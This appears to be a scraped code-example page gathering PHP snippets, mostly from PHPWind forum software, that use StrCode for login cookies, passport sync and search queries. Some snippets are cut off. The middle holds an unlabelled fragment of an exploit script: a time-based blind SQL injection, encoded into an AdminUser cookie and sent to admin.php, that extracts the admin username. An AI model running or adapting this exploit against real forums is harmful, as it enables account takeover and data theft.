PHP StrCode函数代码示例

 function synlogin($user)
 {
     global $timestamp, $uc_key;
     list($winduid, $windid, $windpwd) = explode("\t", $this->base->strcode($user, false));
     header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
     $safecv = '';
     $cktime = 31536000;
     $cktime != 0 && ($cktime += $timestamp);
     Cookie("winduser", StrCode($winduid . "\t" . PwdCode($windpwd) . "\t" . $safecv), $cktime);
     Cookie("ucuser", StrCode($winduid . "\t" . md5($uc_key . $windpwd)), $cktime);
     Cookie('lastvisit', '', 0);
     return '';
 }

/**
*取得用户数据
**/
function PassportUserdb()
{
    global $db, $timestamp, $webdb, $onlineip, $TB, $pre, $db_ifsafecv, $userDB;
    list($lfjuid, $lfjpwd, $safecv) = explode("\t", StrCode(GetCookie('winduser'), 'DECODE'));
    if (!$lfjuid || !$lfjpwd) {
        return '';
    }
    if ($db_ifsafecv) {
        $SQL = ",M.safecv";
    }
    $detail = $userDB->get_allInfo($lfjuid);
    if (PwdCode($detail[password]) != $lfjpwd || $db_ifsafecv && $safecv != $detail['safecv']) {
        return;
    }
    return $detail;
}

 function synlogin($user)
 {
     global $timestamp, $uc_key;
     list($winduid, $windid, $windpwd) = explode("\t", $this->base->strcode($user, false));
     header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
     $safecv = '';
     $cktime = 31536000;
     $cktime != 0 && ($cktime += $timestamp);
     Cookie("winduser", StrCode($winduid . "\t" . PwdCode($windpwd) . "\t" . $safecv), $cktime);
     Cookie("ucuser", StrCode($winduid . "\t" . md5($uc_key . $windpwd)), $cktime);
     Cookie('lastvisit', '', 0);
     //鑾峰彇鍕嬬珷_start
     require_once R_P . 'require/functions.php';
     doMedalBehavior($winduid, 'continue_login');
     //鑾峰彇鍕嬬珷_end
     return '';
 }

function wap_login($username, $password, $safecv, $lgt = 0)
{
    global $db, $timestamp, $onlineip, $db_ckpath, $db_ckdomain, $db_bbsurl, $db_ifsafecv;
    $men = $db->get_one("SELECT m.uid,m.password,m.safecv,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE m." . ($lgt ? 'uid' : 'username') . "=" . pwEscape($username));
    if ($men) {
        $e_login = explode("|", $men['onlineip']);
        if ($e_login[0] != $onlineip . ' *' || $timestamp - $e_login[1] > 600 || $e_login[2] > 1) {
            $men_uid = $men['uid'];
            $men_pwd = $men['password'];
            $check_pwd = $password;
            if ($men['yz'] > 2) {
                wap_msg('login_jihuo');
            }
            if (strlen($men_pwd) == 16) {
                $check_pwd = substr($password, 8, 16);
                /*支持 16 位 md5截取密码*/
            }
            if ($men_pwd == $check_pwd && (!$db_ifsafecv || $men['safecv'] == $safecv)) {
                if (strlen($men_pwd) == 16) {
                    $db->update("UPDATE pw_members SET password=" . pwEscape($password) . " WHERE uid=" . pwEscape($men_uid));
                }
                $L_groupid = (int) $men['groupid'];
                Cookie("ck_info", $db_ckpath . "\t" . $db_ckdomain);
            } else {
                global $L_T;
                $L_T = $e_login[2];
                $L_T ? $L_T-- : ($L_T = 5);
                $F_login = "{$onlineip} *|{$timestamp}|{$L_T}";
                $db->update("UPDATE pw_memberdata SET onlineip=" . pwEscape($F_login) . " WHERE uid=" . pwEscape($men_uid));
                wap_msg('login_pwd_error');
            }
        } else {
            global $L_T;
            $L_T = 600 - ($timestamp - $e_login[1]);
            wap_msg('login_forbid');
        }
    } else {
        global $errorname;
        $errorname = $username;
        wap_msg('user_not_exists');
    }
    Cookie("winduser", StrCode($men_uid . "\t" . PwdCode($password) . "\t" . $safecv));
    Cookie('lastvisit', '', 0);
    wap_msg('wap_login', 'index.php');
}

function API_Login($user, $pass)
{
    global $Block, $setting, $onlineip, $_COOKIE, $_SERVER;
    $pwd = md5($pass);
    $user = Conn()->record("members", "uid,username,password,safecv", "username='{$user}' and password='{$pwd}'");
    if (!$user) {
        return false;
    }
    $winduid = $user[0]['uid'];
    $windpwd = md5($_SERVER['HTTP_USER_AGENT'] . $pwd . $GLOBALS['db_hash']);
    $safecv = $user[0]['safecv'];
    $username = $user[0]['username'];
    $winduser = StrCode(stripSlashes("{$winduid}\t{$windpwd}\t{$safecv}"), "ENCODE");
    $GLOBALS['cookiepre'] = substr(md5($GLOBALS['db_sitehash']), 0, 5) . '_';
    osetcookie('winduser', $winduser, 31536000);
    osetcookie('ck_info', $GLOBALS['db_ckpath'] . "\t" . $GLOBALS['db_ckdomain'], 31536000);
    osetcookie('lastvisit', '', 0);
    $GLOBALS['cookiepre'] = 'onez_';
    osetcookie('userid', $winduid, 31536000);
    osetcookie('username', $username, 31536000);
    return 'Y';
}

 function getSearchvalue($field, $type, $alltidtype = false, $backtype = false)
 {
     /*获取搜索结果*/
     global $db_perpage, $page, $actmid, $fid, $basename;
     $field = unserialize(StrCode($field, 'DECODE'));
     $sqladd = '';
     $defaultValueTableName = getActivityValueTableNameByActmid();
     $fid && ($sqladd .= " {$defaultValueTableName}.fid=" . S::sqlEscape($fid));
     $fielddb = PW_PostActivity::getFieldData($actmid, $type);
     if ($actmid) {
         $userDefinedTableName = getActivityValueTableNameByActmid($actmid, 1, 1);
     } else {
         $userDefinedTableName = '';
     }
     foreach ($field as $key => $value) {
         if ($value) {
             if ($fielddb[$key]['ifdel']) {
                 $tableName = $userDefinedTableName . '.';
             } elseif ($fielddb[$key]) {
                 $tableName = $defaultValueTableName ? $defaultValueTableName . '.' : '';
             } else {
                 continue;
             }
             if (in_array($fielddb[$key]['type'], array('number', 'radio', 'select'))) {
                 $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . "=" . S::sqlEscape($value) : $tableName . $fielddb[$key]['fieldname'] . "=" . S::sqlEscape($value);
             } elseif ($fielddb[$key]['type'] == 'checkbox') {
                 $checkboxs = '';
                 foreach ($value as $cv) {
                     $checkboxs .= $checkboxs ? ',' . $cv : $cv;
                 }
                 $value = '%,' . $checkboxs . ',%';
                 $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . " LIKE(" . S::sqlEscape($value) . ")" : $tableName . $fielddb[$key]['fieldname'] . " LIKE(" . S::sqlEscape($value) . ")";
             } elseif ($fielddb[$key]['type'] == 'calendar') {
                 $value && ($value = PwStrtoTime($value));
                 if (strpos($fielddb[$key]['fieldname'], 'start') !== false) {
                     $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value) : $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value);
                 } elseif (strpos($fielddb[$key]['fieldname'], 'end') !== false) {
                     $starttimeFlag = substr($fielddb[$key]['fieldname'], 0, -7) . 'starttime';
                     if ($value <= PwStrtoTime($field[$starttimeFlag]) && $field[$starttimeFlag]) {
                         Showmsg('calendar_error');
                     }
                     $sqladd .= $sqladd ? " AND " . $tableName . $starttimeFlag . "<=" . S::sqlEscape($value) : $tableName . $starttimeFlag . "<=" . S::sqlEscape($value);
                 } else {
                     $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value['start']) . " AND " . $tableName . $fielddb[$key]['fieldname'] . "<=" . S::sqlEscape($value['end']) : $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value['start']) . " AND " . $tableName . $fielddb[$key]['fieldname'] . "<=" . S::sqlEscape($value['end']);
                 }
             } elseif (in_array($fielddb[$key]['type'], array('text', 'url', 'email', 'textarea'))) {
                 $value = '%' . $value . '%';
                 $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . " LIKE(" . S::sqlEscape($value) . ")" : $tableName . $fielddb[$key]['fieldname'] . " LIKE(" . S::sqlEscape($value) . ")";
             } elseif ($fielddb[$key]['type'] == 'range' && $value['min'] && $value['max']) {
                 $sqladd .= $sqladd ? " AND " . $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value['min']) . " AND " . $tableName . $fielddb[$key]['fieldname'] . "<=" . S::sqlEscape($value['max']) : $tableName . $fielddb[$key]['fieldname'] . ">=" . S::sqlEscape($value['min']) . " AND " . $tableName . $fielddb[$key]['fieldname'] . "<=" . S::sqlEscape($value['max']);
             } else {
                 $sqladd .= '';
             }
         }
     }
     if ($sqladd) {
         !$page && ($page = 1);
         $start = ($page - 1) * $db_perpage;
         $limit = S::sqlLimit($start, $db_perpage);
         $actmidSql = $actmid ? "AND actmid=" . S::sqlEscape($actmid) : '';
         $sqladd .= $sqladd ? " AND {$defaultValueTableName}.ifrecycle=0 " . $actmidSql : " {$defaultValueTableName}.ifrecycle=0 " . $actmidSql;
         $count = $this->db->get_value("SELECT COUNT(*) as count FROM {$defaultValueTableName} " . ($userDefinedTableName ? "LEFT JOIN {$userDefinedTableName} USING (tid)" : "") . " WHERE {$sqladd}");
         $query = $this->db->query("SELECT tid \n\t\t\t\t\t\t\t\t\tFROM {$defaultValueTableName} " . ($userDefinedTableName ? "LEFT JOIN {$userDefinedTableName} USING (tid)" : "") . " \n\t\t\t\t\t\t\t\t\tWHERE {$sqladd} {$limit}");
         while ($rt = $this->db->fetch_array($query)) {
             $tiddb[] = $rt['tid'];
         }
         if ($alltidtype) {
             $query = $this->db->query("SELECT tid FROM {$defaultValueTableName} " . ($userDefinedTableName ? "LEFT JOIN {$userDefinedTableName} USING (tid)" : "") . " WHERE {$sqladd}");
             while ($rt = $this->db->fetch_array($query)) {
                 $alltiddb[] = $rt['tid'];
             }
         }
         !$count && ($count = -1);
     } else {
         if ($backtype) {
             adminmsg('topic_search_none', "{$basename}&action=topic&actmid={$actmid}");
         }
         Showmsg('topic_search_none');
     }
     return array($count, $tiddb, $alltiddb);
 }

        if ($i == 255) {
            die("\nExploit failed...");
        }
    }
    $j++;
}
$j = 1;
$admin = "";
while (!strstr($admin, chr(0))) {
    for ($i = 0; $i <= 255; $i++) {
        $sql = "9999999'/**/OR/**/(IF((ASCII(SUBSTRING(username," . $j . ",1))=" . $i . "),benchmark(" . $b . ",char(0)),-1))/**/AND/**/groupid=3/**/LIMIT/**/1/*";
        echo "sql -> " . $sql . "\n";
        $packet = "GET " . $p . "admin.php HTTP/1.0\r\n";
        $packet .= "CLIENT-IP: 1.2.3.4\r\n";
        $packet .= "Host: " . $host . "\r\n";
        $packet .= "Cookie: " . $cp . "AdminUser=" . StrCode("9999999999\t" . $sql, "ENCODE") . ";\r\n";
        $packet .= "Accept: text/plain\r\n";
        $packet .= "Connection: Close\r\n\r\n";
        $packet .= $data;
        sendpacketii($packet);
        usleep(2000000);
        $starttime = time();
        echo "starttime -> " . $starttime . "\r\n";
        sendpacketii($packet);
        $endtime = time();
        echo "endtime -> " . $endtime . "\r\n";
        $difftime = $endtime - $starttime;
        echo "difftime -> " . $difftime . "\r\n";
        if ($difftime > $timeout) {
            $admin .= chr($i);
            echo "admin -> " . $admin . "[???]\r\n";

 function cookie($code)
 {
     global $timestamp;
     Cookie('cknum', StrCode($timestamp . "\t\t" . md5($code . $timestamp)));
 }

     $searchhtml .= '</span>';
     $asearchhtml .= '</span>';
     if (strpos($searchhtml, '</span></span>') !== false) {
         $searchhtml = str_replace('</span></span>', '</span>', $searchhtml);
     }
     if (strpos($asearchhtml, '</span></span>') !== false) {
         $asearchhtml = str_replace('</span></span>', '</span>', $asearchhtml);
     }
     $pcid = (int) $pcid;
     $pcvaluetable = GetPcatetable($pcid);
 }
 if ($step == 'search') {
     require_once R_P . 'lib/postcate.class.php';
     $searchPostcate = new postCate($field);
     if (!$newfield) {
         $newfield = StrCode(serialize($field));
     }
     list($count, $tiddb, $alltiddb) = $searchPostcate->getSearchvalue($newfield, 'one', true, true);
     is_array($tiddb) && ($sql .= " AND pv.tid IN(" . pwImplode($tiddb) . ")");
     is_array($alltiddb) && ($alltids = implode(',', $alltiddb));
 }
 if ($step != 'search' || !$count) {
     $alltiddb = $threadb = $newtiddb = array();
     $alltiddb = array();
     $query = $db->query("SELECT tid FROM {$pcvaluetable} WHERE ifrecycle=0");
     while ($rt = $db->fetch_array($query)) {
         $alltiddb[] = $rt['tid'];
     }
     if ($alltiddb) {
         $query = $db->query("SELECT tid FROM pw_threads WHERE tid IN(" . pwImplode($alltiddb) . ")");
         while ($rt = $db->fetch_array($query)) {

             $db->free_result($query);
         }
         unset($toptids, $L, $limit, $toppeddb);
     } else {
         list($st, $lt, $asc, $R) = getstart($start_limit - $rows, $asc, $count);
         $limit2 = S::sqlLimit($st, $lt);
     }
     unset($rows);
 } else {
     list($st, $lt, $asc, $R) = getstart($start_limit, $asc, $count);
     $limit2 = S::sqlLimit($st, $lt);
 }
 if ($limit2) {
     if ($topicsearch == 1) {
         S::gp(array('searchname', 'new_searchname'));
         $searchname && ($new_searchname = StrCode(serialize($searchname)));
         if ($modelid > 0) {
             list($count, $tiddb, $alltiddb) = $postTopic->getSearchvalue($new_searchname, 'one', true);
         } elseif ($pcid > 0) {
             list($count, $tiddb, $alltiddb) = $postCate->getSearchvalue($new_searchname, 'one', true);
         }
         if ($tiddb) {
             $query = $db->query("SELECT * FROM pw_threads WHERE tid IN (" . S::sqlImplode($tiddb) . ")");
             $urladd = "&topicsearch=1&new_searchname={$new_searchname}";
             while ($thread = $db->fetch_array($query)) {
                 $tpcdb[] = $thread;
             }
             $db->free_result($query);
         }
     } else {
         $topadd && ($topadd .= $R ? ' ASC,' : ' DESC,');

/**
 * 会员唯一有效登录验证字串解密
 * @param string $token 有效登录验证字串
 * @param int $curtimes 当前该字串已经登录访问次数
 * @return mixed 验证通过则返回有效字串,否则返回FALSE
 */
function deWindToken($token, $curtimes = 60)
{
    $token = StrCode($token, 'DECODE');
    list($expire, $times, $code, $md5word) = explode("\t", $token);
    if (substr(md5($expire . $code . $times), 8, 18) === $md5word && $times >= $curtimes && $expire >= time() && $code) {
        return addslashes($code);
    }
    return '';
}

/**
 * 用户接口，退出处理
 * 
 * @param      array       $params 参数数组
 * 必须参数： $params['username'] - 用户名,$params['password'] - 密码,$params['email'] - 邮箱
 * @access     public
 * @return     int    
 */
function jieqi_ulogout_iprocess(&$params)
{
    //赋值
    $userdb['uid'] = $_SESSION['jieqiUserId'];
    //用户编号
    $userdb['username'] = $_SESSION['jieqiUserUname'];
    //用户名
    $userdb['password'] = '';
    //密码
    $userdb['email'] = $_SESSION['jieqiUserEmail'];
    //邮箱
    /*
    $userdb['rvrc']		= $params['rvrc'];//威望
    $userdb['money']	= $params['money'];//铜币
    $userdb['credit']	= $params['credit'];//贡献值
    $userdb['currency']	= $params['currency'];//银元
    */
    $userdb['time'] = time();
    //时间
    $userdb['cktime'] = 'F';
    if (!empty($_REQUEST['forward'])) {
        $params['jumpurl'] = $_REQUEST['forward'];
    }
    //字符串化用户基本信息
    $userdb_encode = '';
    foreach ($userdb as $key => $val) {
        $userdb_encode .= $userdb_encode ? "&{$key}={$val}" : "{$key}={$val}";
    }
    //加密数据
    $userdb_encode = str_replace('=', '', StrCode($userdb_encode));
    //加密字串
    $verify = md5('quit' . $userdb_encode . $params['jumpurl'] . PHPWIND_PASSPORT_KEY);
    header('Location: ' . PHPWIND_PASSPORT_URL . '/passport_client.php?action=quit&userdb=' . rawurlencode($userdb_encode) . '&forward=' . rawurlencode($params['jumpurl']) . '&verify=' . rawurlencode($verify));
    return true;
}

 function cookie($code)
 {
     global $timestamp;
     Cookie('cknum', StrCode($timestamp . "\t\t" . md5($code . $timestamp . getHashSegment())));
 }

$forward = isset($_POST['forward']) ? $_POST['forward'] : $_GET['forward'];
$verify = isset($_POST['verify']) ? $_POST['verify'] : $_GET['verify'];
$forward = str_replace('=', '=', $forward);
$config['phpwind'] = jconf::get('phpwind');
$key = $config['phpwind']['pw_pptkey'];
if (md5($action . $userdb . urldecode($forward) . $key) == $verify) {
    $config = jconf::get();
    $db_charset = strtolower(str_replace('-', '', $config['charset']));
    if (!defined('JSG_DB_CHARSET')) {
        define("JSG_DB_CHARSET", $db_charset);
    }
    $db_prefix = $config['db_table_prefix'];
    if (!defined('JSG_DB_PRE')) {
        define("JSG_DB_PRE", $db_prefix);
    }
    parse_str(StrCode($userdb, $key, 'DECODE'), $userdb);
    if ($action == 'login') {
        $userdb = escapeChar($userdb);
        if (is_array($userdb) && $userdb['username'] && $userdb['password']) {
            synlogin($userdb['username'], $userdb['password']);
        }
    }
    if ($action == 'quit') {
        synlogout();
    }
}
header('Location: ' . $forward);
exit;
function escapeChar($mixed, $isint = false, $istrim = false)
{
    if (is_array($mixed)) {

function processLogin($userId, $user = null, $cktime = '31536000', $lgt = 0)
{
    global $timestamp, $db_ckpath, $db_ckdomain, $db_autoban;
    if (!$user) {
        $userService = L::loadClass('UserService', 'user');
        /* @var $userService PW_UserService */
        $user = $userService->get($userId, true, true);
    }
    $pwuser = $user['username'];
    $md5_pwpwd = $user['password'];
    $safecv = $user['safecv'];
    require_once R_P . 'require/checkpass.php';
    $logininfo = checkpass($pwuser, $md5_pwpwd, $safecv, $lgt);
    if (!is_array($logininfo)) {
        Showmsg($logininfo);
    }
    list($winduid, , $windpwd, ) = $logininfo;
    /*update cache*/
    $_cache = getDatastore();
    $_cache->delete("UID_" . $winduid);
    $cktime != 0 && ($cktime += $timestamp);
    Cookie("winduser", StrCode($winduid . "\t" . $windpwd . "\t" . $safecv), $cktime);
    Cookie("ck_info", $db_ckpath . "\t" . $db_ckdomain);
    Cookie('lastvisit', '', 0);
    //将$lastvist清空以将刚注册的会员加入今日到访会员中
    //自动获取勋章_start
    require_once R_P . 'require/functions.php';
    doMedalBehavior($winduid, 'continue_login');
    //自动获取勋章_end
    if ($db_autoban) {
        require_once R_P . 'require/autoban.php';
        autoban($winduid);
    }
    return $logininfo;
}